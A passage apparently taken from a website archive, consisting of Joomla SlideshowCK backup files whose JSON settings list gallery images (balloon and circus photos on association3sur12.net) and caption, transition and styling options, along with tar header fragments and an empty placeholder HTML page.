:"1","usecaptionresponsive":"1","captionresponsiveresolution":"480","captionresponsivefontsize":"0.6em","captionresponsivehidecaption":"0","captionstylesusefont":"1","captionstylestextgfont":"Droid Sans","captionstylesfontsize":"1.1em","captionstylesfontcolor":"","captionstylesfontweight":"normal","captionstylesdescfontsize":"0.8em","captionstylesdescfontcolor":"","captionstylesusemargin":"1","captionstylesmargintop":"0","captionstylesmarginright":"0","captionstylesmarginbottom":"0","captionstylesmarginleft":"0","captionstylespaddingtop":"0","captionstylespaddingright":"0","captionstylespaddingbottom":"0","captionstylespaddingleft":"0","captionstylesusebackground":"1","captionstylesbgcolor1":"","captionstylesbgopacity":"0.6","captionstylesbgimage":"","captionstylesbgpositionx":"left","captionstylesbgpositiony":"top","captionstylesbgimagerepeat":"repeat","captionstylesusegradient":"1","captionstylesbgcolor2":"","captionstylesuseroundedcorners":"1","captionstylesroundedcornerstl":"5","captionstylesroundedcornerstr":"5","captionstylesroundedcornersbr":"5","captionstylesroundedcornersbl":"5","captionstylesuseshadow":"1","captionstylesshadowcolor":"","captionstylesshadowblur":"3","captionstylesshadowspread":"0","captionstylesshadowoffsetx":"0","captionstylesshadowoffsety":"0","captionstylesshadowinset":"0","captionstylesuseborders":"1","captionstylesbordercolor":"","captionstylesborderwidth":"1","module_tag":"div","bootstrap_size":"0","header_tag":"h3","header_class":"","style":"0"}com_slideshowck/backup/backup_151_24-08-2021-16-50-23.ssck000060400000015200152455305260015713 0ustar00{"slidesssource":"slidesmanager","slides":"[{|qq|imgname|qq|:|qq|images\/sampledata\/lord_balloonning\/01-Lord_Ballooning_2018.JPG|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/lord_balloonning\/01-Lord_Ballooning_2018.JPG|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/lord_balloonning\/02-Lord_Ballooning_2018.JPG|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/lord_balloonning\/02-Lord_Ballooning_2018.JPG|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/lord_balloonning\/03-Lord_Ballooning_2018.JPG|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/lord_balloonning\/03-Lord_Ballooning_2018.JPG|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/lord_balloonning\/04-Lord_Ballooning_2018.JPG|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/lord_balloonning\/04-Lord_Ballooning_2018.JPG|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/lord_balloonning\/ballons.JPG|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/lord_balloonning\/ballons.JPG|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|_parent|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/lord_balloonning\/lord_Ballooning-1.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/lord_balloonning\/lord_Ballooning-1.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|_parent|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/lord_balloonning\/lord_Ballooning-3.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/lord_balloonning\/lord_Ballooning-3.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|_parent|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/lord_balloonning\/Mr _Swing.JPG|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/lord_balloonning\/Mr _Swing.JPG|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|}]","theme":"default","skin":"camera_amber_skin","alignment":"center","loader":"pie","width":"100%","height":"62%","minheight":"150","navigation":"0","thumbnails":"0","thumbnailwidth":"100","thumbnailheight":"75","pagination":"0","effect":["random"],"time":"5000","transperiod":"1000","captioneffect":"moveFromLeft","portrait":"1","autoAdvance":"1","hover":"0","displayorder":"normal","limitslides":"","fullpage":"0","imagetarget":"_parent","linkposition":"fullslide","container":"","usemobileimage":"0","mobileimageresolution":"640","loadjquery":"1","loadjqueryeasing":"1","autocreatethumbs":"0","fixhtml":"0","layout":"_:default","moduleclass_sfx":"","cache":"1","cache_time":"900","cachemode":"itemid","articlelength":"150","articlelink":"readmore","articletitle":"h3","showarticletitle":"1","usecaption":"1","usecaptiondesc":"1","usecaptionresponsive":"1","captionresponsiveresolution":"480","captionresponsivefontsize":"0.6em","captionresponsivehidecaption":"0","captionstylesusefont":"1","captionstylestextgfont":"Droid Sans","captionstylesfontsize":"1.1em","captionstylesfontcolor":"","captionstylesfontweight":"normal","captionstylesdescfontsize":"0.8em","captionstylesdescfontcolor":"","captionstylesusemargin":"1","captionstylesmargintop":"0","captionstylesmarginright":"0","captionstylesmarginbottom":"0","captionstylesmarginleft":"0","captionstylespaddingtop":"0","captionstylespaddingright":"0","captionstylespaddingbottom":"0","captionstylespaddingleft":"0","captionstylesusebackground":"1","captionstylesbgcolor1":"","captionstylesbgopacity":"0.6","captionstylesbgimage":"","captionstylesbgpositionx":"left","captionstylesbgpositiony":"top","captionstylesbgimagerepeat":"repeat","captionstylesusegradient":"1","captionstylesbgcolor2":"","captionstylesuseroundedcorners":"1","captionstylesroundedcornerstl":"5","captionstylesroundedcornerstr":"5","captionstylesroundedcornersbr":"5","captionstylesroundedcornersbl":"5","captionstylesuseshadow":"1","captionstylesshadowcolor":"","captionstylesshadowblur":"3","captionstylesshadowspread":"0","captionstylesshadowoffsetx":"0","captionstylesshadowoffsety":"0","captionstylesshadowinset":"0","captionstylesuseborders":"1","captionstylesbordercolor":"","captionstylesborderwidth":"1","module_tag":"div","bootstrap_size":"0","header_tag":"h3","header_class":"","style":"0"}com_slideshowck/backup/backup_137_01-02-2021-14-05-05.ssck000060400000025001152455305260015702 0ustar00{"slidesssource":"slidesmanager","slides":"[{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/01-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/01-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|_parent|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/02-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/02-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|_parent|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/05-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/05-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|_parent|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/06-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/06-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/07-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/07-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/09-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/09-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/12-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/12-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/15-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/15-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/17-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/17-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/18-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/18-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/19-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/19-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/20-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/20-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/21-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/21-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/22-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/22-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/23-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/23-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|}]","theme":"default","skin":"camera_amber_skin","alignment":"center","loader":"pie","width":"100%","height":"62%","minheight":"150","navigation":"0","thumbnails":"0","thumbnailwidth":"100","thumbnailheight":"75","pagination":"0","effect":["random"],"time":"5000","transperiod":"1000","captioneffect":"moveFromLeft","portrait":"1","autoAdvance":"1","hover":"0","displayorder":"normal","limitslides":"","fullpage":"0","imagetarget":"_parent","container":"","usemobileimage":"0","mobileimageresolution":"640","loadjquery":"1","loadjqueryeasing":"1","autocreatethumbs":"0","layout":"_:default","moduleclass_sfx":"","cache":"1","cache_time":"900","cachemode":"itemid","articlelength":"150","articlelink":"readmore","articletitle":"h3","showarticletitle":"1","usecaptionresponsive":"1","captionresponsiveresolution":"480","captionresponsivefontsize":"0.6em","captionresponsivehidecaption":"0","captionstylesusefont":"1","captionstylestextgfont":"Droid Sans","captionstylesfontsize":"1.1em","captionstylesfontcolor":"","captionstylesfontweight":"normal","captionstylesdescfontsize":"0.8em","captionstylesdescfontcolor":"","captionstylesusemargin":"1","captionstylesmargintop":"0","captionstylesmarginright":"0","captionstylesmarginbottom":"0","captionstylesmarginleft":"0","captionstylespaddingtop":"0","captionstylespaddingright":"0","captionstylespaddingbottom":"0","captionstylespaddingleft":"0","captionstylesusebackground":"1","captionstylesbgcolor1":"","captionstylesbgopacity":"0.6","captionstylesbgimage":"","captionstylesbgpositionx":"left","captionstylesbgpositiony":"top","captionstylesbgimagerepeat":"repeat","captionstylesusegradient":"1","captionstylesbgcolor2":"","captionstylesuseroundedcorners":"1","captionstylesroundedcornerstl":"5","captionstylesroundedcornerstr":"5","captionstylesroundedcornersbr":"5","captionstylesroundedcornersbl":"5","captionstylesuseshadow":"1","captionstylesshadowcolor":"","captionstylesshadowblur":"3","captionstylesshadowspread":"0","captionstylesshadowoffsetx":"0","captionstylesshadowoffsety":"0","captionstylesshadowinset":"0","captionstylesuseborders":"1","captionstylesbordercolor":"","captionstylesborderwidth":"1","module_tag":"div","bootstrap_size":"0","header_tag":"h3","header_class":"","style":"0"}com_slideshowck/backup/index.html000060400000000054152455305260013165 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_slideshowck/backup/backup_151_25-10-2021-13-47-16.ssck000060400000015200152455305260015712 0ustar00{"slidesssource":"slidesmanager","slides":"[{|qq|imgname|qq|:|qq|images\/sampledata\/lord_balloonning\/01-Lord_Ballooning_2018.JPG|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/lord_balloonning\/01-Lord_Ballooning_2018.JPG|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/lord_balloonning\/02-Lord_Ballooning_2018.JPG|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/lord_balloonning\/02-Lord_Ballooning_2018.JPG|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/lord_balloonning\/03-Lord_Ballooning_2018.JPG|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/lord_balloonning\/03-Lord_Ballooning_2018.JPG|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/lord_balloonning\/04-Lord_Ballooning_2018.JPG|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/lord_balloonning\/04-Lord_Ballooning_2018.JPG|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/lord_balloonning\/ballons.JPG|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/lord_balloonning\/ballons.JPG|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|_parent|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/lord_balloonning\/lord_Ballooning-1.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/lord_balloonning\/lord_Ballooning-1.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|_parent|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/lord_balloonning\/lord_Ballooning-3.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/lord_balloonning\/lord_Ballooning-3.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|_parent|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/lord_balloonning\/Mr _Swing.JPG|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/lord_balloonning\/Mr 